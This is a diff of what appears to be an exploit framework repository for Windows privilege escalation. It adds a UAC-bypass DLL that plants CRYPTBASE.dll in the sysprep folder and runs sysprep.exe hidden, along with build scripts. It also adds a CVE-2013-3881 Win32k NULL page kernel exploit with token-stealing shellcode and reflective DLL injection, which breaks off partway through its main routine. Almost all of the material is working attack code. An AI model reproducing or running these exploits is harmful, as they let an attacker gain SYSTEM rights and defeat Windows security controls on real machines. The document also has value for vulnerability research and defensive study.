copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Midl>
|
||||||
|
<TargetEnvironment>X64</TargetEnvironment>
|
||||||
|
</Midl>
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<CompileAs>CompileAsCpp</CompileAs>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX64</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>
|
||||||
|
IF EXIST "..\..\..\..\..\data\post\" GOTO COPY
|
||||||
|
mkdir "..\..\..\..\..\data\post\"
|
||||||
|
:COPY
|
||||||
|
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="src\Exploit.cpp" />
|
||||||
|
<ClCompile Include="src\ReflectiveDll.c" />
|
||||||
|
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="src\Exploit.h" />
|
||||||
|
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
|
||||||
|
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
|
@ -0,0 +1,119 @@
|
||||||
|
#include "Exploit.h"
|
||||||
|
|
||||||
|
void exploit()
|
||||||
|
{
|
||||||
|
|
||||||
|
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
|
||||||
|
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
|
||||||
|
const wchar_t *sySysPrepExe = L"sysprep.exe";
|
||||||
|
const wchar_t *szElevDll = L"CRYPTBASE.dll";
|
||||||
|
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
|
||||||
|
wchar_t szElevDir[MAX_PATH] = {};
|
||||||
|
wchar_t szElevDir_syswow64[MAX_PATH] = {};
|
||||||
|
wchar_t szElevDllFull[MAX_PATH] = {};
|
||||||
|
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
|
||||||
|
wchar_t szElevExeFull[MAX_PATH] = {};
|
||||||
|
wchar_t path[MAX_PATH] = {};
|
||||||
|
wchar_t windir[MAX_PATH] = {};
|
||||||
|
const wchar_t *szElevArgs = L"";
|
||||||
|
const wchar_t *szEIFOMoniker = NULL;
|
||||||
|
PVOID OldValue = NULL;
|
||||||
|
|
||||||
|
IFileOperation *pFileOp = NULL;
|
||||||
|
IShellItem *pSHISource = 0;
|
||||||
|
IShellItem *pSHIDestination = 0;
|
||||||
|
IShellItem *pSHIDelete = 0;
|
||||||
|
|
||||||
|
const IID *pIID_EIFO = &__uuidof(IFileOperation);
|
||||||
|
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
|
||||||
|
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
|
||||||
|
|
||||||
|
GetWindowsDirectoryW(windir, MAX_PATH);
|
||||||
|
GetTempPathW(MAX_PATH, path);
|
||||||
|
|
||||||
|
/* %temp%\cryptbase.dll */
|
||||||
|
wcscat_s(path, MAX_PATH, szSourceDll);
|
||||||
|
|
||||||
|
/* %windir%\System32\sysprep\ */
|
||||||
|
wcscat_s(szElevDir, MAX_PATH, windir);
|
||||||
|
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
|
||||||
|
|
||||||
|
/* %windir%\sysnative\sysprep\ */
|
||||||
|
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
|
||||||
|
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
|
||||||
|
|
||||||
|
/* %windir\system32\sysprep\cryptbase.dll */
|
||||||
|
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
|
||||||
|
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
|
||||||
|
|
||||||
|
/* %windir\sysnative\sysprep\cryptbase.dll */
|
||||||
|
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
|
||||||
|
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
|
||||||
|
|
||||||
|
/* %windir%\system32\sysprep\sysprep.exe */
|
||||||
|
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
|
||||||
|
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
|
||||||
|
|
||||||
|
if (CoInitialize(NULL) == S_OK)
|
||||||
|
{
|
||||||
|
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
|
||||||
|
{
|
||||||
|
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
|
||||||
|
{
|
||||||
|
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
|
||||||
|
{
|
||||||
|
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
|
||||||
|
{
|
||||||
|
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
|
||||||
|
{
|
||||||
|
/* Copy the DLL file to the sysprep folder*/
|
||||||
|
if (pFileOp->PerformOperations() == S_OK)
|
||||||
|
{
|
||||||
|
/* Execute sysprep.exe */
|
||||||
|
SHELLEXECUTEINFOW shinfo;
|
||||||
|
ZeroMemory(&shinfo, sizeof(shinfo));
|
||||||
|
shinfo.cbSize = sizeof(shinfo);
|
||||||
|
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
||||||
|
shinfo.lpFile = szElevExeFull;
|
||||||
|
shinfo.lpParameters = szElevArgs;
|
||||||
|
shinfo.lpDirectory = szElevDir;
|
||||||
|
shinfo.nShow = SW_HIDE;
|
||||||
|
|
||||||
|
Wow64DisableWow64FsRedirection(&OldValue);
|
||||||
|
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
|
||||||
|
{
|
||||||
|
WaitForSingleObject(shinfo.hProcess, 10000);
|
||||||
|
CloseHandle(shinfo.hProcess);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
||||||
|
{
|
||||||
|
if (0 != pSHIDelete)
|
||||||
|
{
|
||||||
|
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||||
|
{
|
||||||
|
pFileOp->PerformOperations();
|
||||||
|
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
|
||||||
|
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
|
||||||
|
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
|
||||||
|
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
||||||
|
{
|
||||||
|
if (0 != pSHIDelete)
|
||||||
|
{
|
||||||
|
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||||
|
{
|
||||||
|
pFileOp->PerformOperations();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,8 @@
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <commctrl.h>
|
||||||
|
#include <shlobj.h>
|
||||||
|
#include <Shellapi.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <guiddef.h>
|
||||||
|
|
||||||
|
EXTERN_C void exploit();
|
|
@ -0,0 +1,26 @@
|
||||||
|
#include "ReflectiveLoader.h"
|
||||||
|
#include "Exploit.h"
|
||||||
|
|
||||||
|
extern HINSTANCE hAppInstance;
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
switch( dwReason )
|
||||||
|
{
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
if( lpReserved != NULL )
|
||||||
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
exploit();
|
||||||
|
ExitProcess(0);
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
|
@ -0,0 +1,38 @@
|
||||||
|
@ECHO OFF
|
||||||
|
IF "%VCINSTALLDIR%" == "" GOTO NEED_VS
|
||||||
|
|
||||||
|
IF "%1"=="x86" GOTO BUILD_X86
|
||||||
|
IF "%1"=="X86" GOTO BUILD_X86
|
||||||
|
IF "%1"=="x64" GOTO BUILD_X64
|
||||||
|
IF "%1"=="X64" GOTO BUILD_X64
|
||||||
|
|
||||||
|
ECHO "Building Exploits x64 and x86 (Release)"
|
||||||
|
SET PLAT=all
|
||||||
|
GOTO RUN
|
||||||
|
|
||||||
|
:BUILD_X86
|
||||||
|
ECHO "Building Exploits x86 (Release)"
|
||||||
|
SET PLAT=x86
|
||||||
|
GOTO RUN
|
||||||
|
|
||||||
|
:BUILD_X64
|
||||||
|
ECHO "Building Exploits x64 (Release)"
|
||||||
|
SET PLAT=x64
|
||||||
|
GOTO RUN
|
||||||
|
|
||||||
|
:RUN
|
||||||
|
ECHO "Building Bypass UAC Injection"
|
||||||
|
msbuild.exe make.msbuild /target:%PLAT%
|
||||||
|
|
||||||
|
|
||||||
|
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
|
||||||
|
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
|
||||||
|
echo Finished %ldt%
|
||||||
|
|
||||||
|
GOTO :END
|
||||||
|
|
||||||
|
:NEED_VS
|
||||||
|
ECHO "This command must be executed from within a Visual Studio Command prompt."
|
||||||
|
ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools"
|
||||||
|
|
||||||
|
:END
|
|
@ -0,0 +1,19 @@
|
||||||
|
<?xml version="1.0" standalone="yes"?>
|
||||||
|
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup>
|
||||||
|
<SolutionPath>.\bypassuac_injection.sln</SolutionPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Target Name="all" DependsOnTargets="x86;x64" />
|
||||||
|
|
||||||
|
<Target Name="x86">
|
||||||
|
<Message Text="Building Bypass UAC (Injection) Release version x86" />
|
||||||
|
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||||
|
</Target>
|
||||||
|
|
||||||
|
<Target Name="x64">
|
||||||
|
<Message Text="Building Bypass UAC (Injection) Release version x64" />
|
||||||
|
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
|
||||||
|
</Target>
|
||||||
|
</Project>
|
||||||
|
|
|
@ -0,0 +1,151 @@
|
||||||
|
## Ignore Visual Studio temporary files, build results, and
|
||||||
|
## files generated by popular Visual Studio add-ons.
|
||||||
|
|
||||||
|
# User-specific files
|
||||||
|
*.suo
|
||||||
|
*.user
|
||||||
|
*.sln.docstates
|
||||||
|
|
||||||
|
# Build results
|
||||||
|
|
||||||
|
[Dd]ebug/
|
||||||
|
[Rr]elease/
|
||||||
|
x64/
|
||||||
|
build/
|
||||||
|
[Bb]in/
|
||||||
|
[Oo]bj/
|
||||||
|
|
||||||
|
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
|
||||||
|
!packages/*/build/
|
||||||
|
|
||||||
|
# MSTest test Results
|
||||||
|
[Tt]est[Rr]esult*/
|
||||||
|
[Bb]uild[Ll]og.*
|
||||||
|
|
||||||
|
*_i.c
|
||||||
|
*_p.c
|
||||||
|
*.ilk
|
||||||
|
*.meta
|
||||||
|
*.obj
|
||||||
|
*.pch
|
||||||
|
*.pdb
|
||||||
|
*.pgc
|
||||||
|
*.pgd
|
||||||
|
*.rsp
|
||||||
|
*.sbr
|
||||||
|
*.tlb
|
||||||
|
*.tli
|
||||||
|
*.tlh
|
||||||
|
*.tmp
|
||||||
|
*.tmp_proj
|
||||||
|
*.log
|
||||||
|
*.vspscc
|
||||||
|
*.vssscc
|
||||||
|
.builds
|
||||||
|
*.pidb
|
||||||
|
*.log
|
||||||
|
*.scc
|
||||||
|
|
||||||
|
# Visual C++ cache files
|
||||||
|
ipch/
|
||||||
|
*.aps
|
||||||
|
*.ncb
|
||||||
|
*.opensdf
|
||||||
|
*.sdf
|
||||||
|
*.cachefile
|
||||||
|
|
||||||
|
# Visual Studio profiler
|
||||||
|
*.psess
|
||||||
|
*.vsp
|
||||||
|
*.vspx
|
||||||
|
|
||||||
|
# Guidance Automation Toolkit
|
||||||
|
*.gpState
|
||||||
|
|
||||||
|
# ReSharper is a .NET coding add-in
|
||||||
|
_ReSharper*/
|
||||||
|
*.[Rr]e[Ss]harper
|
||||||
|
|
||||||
|
# TeamCity is a build add-in
|
||||||
|
_TeamCity*
|
||||||
|
|
||||||
|
# DotCover is a Code Coverage Tool
|
||||||
|
*.dotCover
|
||||||
|
|
||||||
|
# NCrunch
|
||||||
|
*.ncrunch*
|
||||||
|
.*crunch*.local.xml
|
||||||
|
|
||||||
|
# Installshield output folder
|
||||||
|
[Ee]xpress/
|
||||||
|
|
||||||
|
# DocProject is a documentation generator add-in
|
||||||
|
DocProject/buildhelp/
|
||||||
|
DocProject/Help/*.HxT
|
||||||
|
DocProject/Help/*.HxC
|
||||||
|
DocProject/Help/*.hhc
|
||||||
|
DocProject/Help/*.hhk
|
||||||
|
DocProject/Help/*.hhp
|
||||||
|
DocProject/Help/Html2
|
||||||
|
DocProject/Help/html
|
||||||
|
|
||||||
|
# Click-Once directory
|
||||||
|
publish/
|
||||||
|
|
||||||
|
# Publish Web Output
|
||||||
|
*.Publish.xml
|
||||||
|
*.pubxml
|
||||||
|
|
||||||
|
# NuGet Packages Directory
|
||||||
|
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
|
||||||
|
#packages/
|
||||||
|
|
||||||
|
# Windows Azure Build Output
|
||||||
|
csx
|
||||||
|
*.build.csdef
|
||||||
|
|
||||||
|
# Windows Store app package directory
|
||||||
|
AppPackages/
|
||||||
|
|
||||||
|
# Others
|
||||||
|
sql/
|
||||||
|
*.Cache
|
||||||
|
ClientBin/
|
||||||
|
[Ss]tyle[Cc]op.*
|
||||||
|
~$*
|
||||||
|
*~
|
||||||
|
*.dbmdl
|
||||||
|
*.[Pp]ublish.xml
|
||||||
|
*.pfx
|
||||||
|
*.publishsettings
|
||||||
|
|
||||||
|
# RIA/Silverlight projects
|
||||||
|
Generated_Code/
|
||||||
|
|
||||||
|
# Backup & report files from converting an old project file to a newer
|
||||||
|
# Visual Studio version. Backup files are not needed, because we have git ;-)
|
||||||
|
_UpgradeReport_Files/
|
||||||
|
Backup*/
|
||||||
|
UpgradeLog*.XML
|
||||||
|
UpgradeLog*.htm
|
||||||
|
|
||||||
|
# SQL Server files
|
||||||
|
App_Data/*.mdf
|
||||||
|
App_Data/*.ldf
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Windows detritus
|
||||||
|
# =========================
|
||||||
|
|
||||||
|
# Windows image file caches
|
||||||
|
Thumbs.db
|
||||||
|
ehthumbs.db
|
||||||
|
|
||||||
|
# Folder config file
|
||||||
|
Desktop.ini
|
||||||
|
|
||||||
|
# Recycle Bin used on file shares
|
||||||
|
$RECYCLE.BIN/
|
||||||
|
|
||||||
|
# Mac crap
|
||||||
|
.DS_Store
|
|
@ -0,0 +1,20 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||||
|
# Visual Studio 2010
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-3881", "cve-2013-3881\cve-2013-3881.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Win32 = Debug|Win32
|
||||||
|
Release|Win32 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,261 @@
|
||||||
|
/*
|
||||||
|
* Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability
|
||||||
|
* Date: February 5, 2014
|
||||||
|
* Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame
|
||||||
|
* Exploit Author: Spencer McIntyre
|
||||||
|
* Version: Windows 7 SP0/SP1
|
||||||
|
* Tested on: Windows 7 SP0/SP1
|
||||||
|
* CVE-2013-3881 MS13-081
|
||||||
|
* References:
|
||||||
|
* http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html
|
||||||
|
* http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html
|
||||||
|
* http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
|
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||||
|
|
||||||
|
// Purloined from ntstatus.h
|
||||||
|
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
|
||||||
|
|
||||||
|
#define WIN32_NO_STATUS
|
||||||
|
#include <windows.h>
|
||||||
|
#undef WIN32_NO_STATUS
|
||||||
|
|
||||||
|
#ifndef _NTDEF_
|
||||||
|
typedef __success(return >= 0) LONG NTSTATUS;
|
||||||
|
typedef NTSTATUS *PNTSTATUS;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define TABLE_BASE 0xff910000
|
||||||
|
|
||||||
|
static const char* window_class_name = "PWN_CLASS";
|
||||||
|
static HWND window0 = NULL;
|
||||||
|
static HWND window1 = NULL;
|
||||||
|
static HDESK desktop = NULL;
|
||||||
|
|
||||||
|
const unsigned char shellcode[] =
|
||||||
|
"\x33\xc0" // xor eax, eax
|
||||||
|
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, fs:[eax+0x124]
|
||||||
|
"\x8b\x40\x50" // mov eax, ds:[eax+0x50]
|
||||||
|
"\x8b\xc8" // mov ecx, eax
|
||||||
|
/* LOOPTHROUGHPROCESSES */
|
||||||
|
"\x8b\x80\xb8\x00\x00\x00" // mov eax, ds:[eax+0xb8]
|
||||||
|
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
|
||||||
|
"\x83\xb8\xb4\x00\x00\x00\x04" // cmp DWORD PTR ds:[eax+0xb4], 4
|
||||||
|
"\x75\xec" // jnz short LOOPTHROUGHPROCESSES
|
||||||
|
"\x8b\x90\xf8\x00\x00\x00" // mov edx, ds:[eax+0x0f8]
|
||||||
|
"\x89\x91\xf8\x00\x00\x00" // mov [ecx+0x0f8], edx
|
||||||
|
/* Epilog Part 1: Uncorrupt HANDLEENTRY */
|
||||||
|
"\xbe\x00\x08\x00\x00" // mov esi, 0x0800
|
||||||
|
"\x8b\x3e" // mov edi, [esi]
|
||||||
|
"\x8b\x46\x04" // mov eax, [esi+4]
|
||||||
|
"\x89\x07" // mov [edi], eax
|
||||||
|
"\x8b\x46\x08" // mov eax, [esi+8]
|
||||||
|
"\x89\x47\x04" // mov [edi + 4], eax
|
||||||
|
"\x8b\x46\x0c" // mov eax, [esi+c]
|
||||||
|
"\x89\x47\x08" // mov [edi+8], eax
|
||||||
|
/* Epilog Part 2: Return to xxxTrackPopupMenuEx */
|
||||||
|
"\x83\x7c\x24\x58\x00" // cmp DWORD PTR [esp+0x58], 0
|
||||||
|
"\x74\x11" // je short sp1
|
||||||
|
"\x83\x7c\x24\x5c\x01" // cmp DWORD PTR [esp+0x5c], 1
|
||||||
|
"\x75\x0a" // je short sp1
|
||||||
|
/* Service Pack 0 */
|
||||||
|
"\x83\xc4\x48" // add esp, 0x48
|
||||||
|
"\x5f" // pop edi
|
||||||
|
"\x5e" // pop esi
|
||||||
|
"\x5b" // pop ebx
|
||||||
|
"\x5d" // pop ebp
|
||||||
|
"\xc2\x04\x00" // ret 4
|
||||||
|
/* Service Pack 1 */
|
||||||
|
"\x83\xc4\x4c" // add esp 0x4c
|
||||||
|
"\x5f" // pop edi
|
||||||
|
"\x5e" // pop esi
|
||||||
|
"\x83\xc4\x0c" // add esp, 0x0c
|
||||||
|
"\x5d" // pop ebp
|
||||||
|
"\xc2\x08\x00"; // ret 8
|
||||||
|
|
||||||
|
typedef struct _HANDLEENTRY {
|
||||||
|
struct _HEAD *pHead;
|
||||||
|
void *pOwner;
|
||||||
|
UINT8 bType;
|
||||||
|
UINT8 bFlags;
|
||||||
|
UINT16 wUniq;
|
||||||
|
} HANDLEENTRY, *PHANDLEENTRY;
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)(
|
||||||
|
IN HANDLE ProcessHandle,
|
||||||
|
IN PVOID *BaseAddress,
|
||||||
|
IN PULONG ZeroBits,
|
||||||
|
IN PSIZE_T RegionSize,
|
||||||
|
IN ULONG AllocationType,
|
||||||
|
IN ULONG Protect
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)(
|
||||||
|
IN DWORD ProfileSource,
|
||||||
|
OUT PULONG Interval
|
||||||
|
);
|
||||||
|
|
||||||
|
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
|
||||||
|
return DefWindowProc(hwnd, msg, wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS AllocateNullPage(void) {
|
||||||
|
HMODULE hNtdll = NULL;
|
||||||
|
FARPROC pNtAllocateVirtualMemory = NULL;
|
||||||
|
DWORD base_address = 1;
|
||||||
|
SIZE_T region_size = 0x1000;
|
||||||
|
ULONG zero_bits = 0;
|
||||||
|
HANDLE current_process = NULL;
|
||||||
|
NTSTATUS status = 0;
|
||||||
|
|
||||||
|
hNtdll = LoadLibraryA("ntdll");
|
||||||
|
pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
|
||||||
|
current_process = GetCurrentProcess();
|
||||||
|
status = pNtAllocateVirtualMemory(current_process, &base_address, 0, ®ion_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE);
|
||||||
|
FreeLibrary(hNtdll);
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
PHANDLEENTRY GetAheList(void) {
|
||||||
|
HMODULE hUser32 = NULL;
|
||||||
|
HANDLEENTRY **tagSharedInfo = NULL;
|
||||||
|
|
||||||
|
hUser32 = LoadLibraryA("user32");
|
||||||
|
tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo");
|
||||||
|
if (tagSharedInfo == NULL) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
return (PHANDLEENTRY)*&tagSharedInfo[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI TriggerThread0(void *garbage) {
|
||||||
|
HMENU menu0;
|
||||||
|
|
||||||
|
SetThreadDesktop(desktop);
|
||||||
|
window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
|
||||||
|
menu0 = CreatePopupMenu();
|
||||||
|
if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL WINAPI CreateAndRegisterClass(char * class_name) {
|
||||||
|
WNDCLASSEX wx;
|
||||||
|
HINSTANCE hInstance = NULL;
|
||||||
|
|
||||||
|
hInstance = (HINSTANCE)GetModuleHandle(NULL);
|
||||||
|
if (hInstance == NULL) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
wx.cbSize = sizeof(WNDCLASSEX);
|
||||||
|
wx.style = 0;
|
||||||
|
wx.lpfnWndProc = WndProc;
|
||||||
|
wx.cbClsExtra = 0;
|
||||||
|
wx.cbWndExtra = 0;
|
||||||
|
wx.hInstance = hInstance;
|
||||||
|
wx.hIcon = LoadIcon(NULL, IDI_APPLICATION);
|
||||||
|
wx.hCursor = LoadCursor(NULL, IDC_ARROW);
|
||||||
|
wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
|
||||||
|
wx.lpszMenuName = NULL;
|
||||||
|
wx.lpszClassName = class_name;
|
||||||
|
wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
|
||||||
|
|
||||||
|
if (RegisterClassEx(&wx) != 0) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI ExecutePayload(LPVOID lpPayload) {
|
||||||
|
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||||
|
lpCode();
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Win32kNullPage(LPVOID lpPayload) {
|
||||||
|
HMENU menu1 = NULL;
|
||||||
|
HMENU menu2 = NULL;
|
||||||
|
HANDLE gdi_handle = NULL;
|
||||||
|
void *promise_land = NULL;
|
||||||
|
ULONG interval = 0;
|
||||||
|
PHANDLEENTRY aheList = NULL;
|
||||||
|
PHANDLEENTRY target_handle = NULL;
|
||||||
|
DWORD saved_bytes = 0;
|
||||||
|
|
||||||
|
desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL);
|
||||||
|
SetThreadDesktop(desktop);
|
||||||
|
|
||||||
|
if (!CreateAndRegisterClass(window_class_name)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
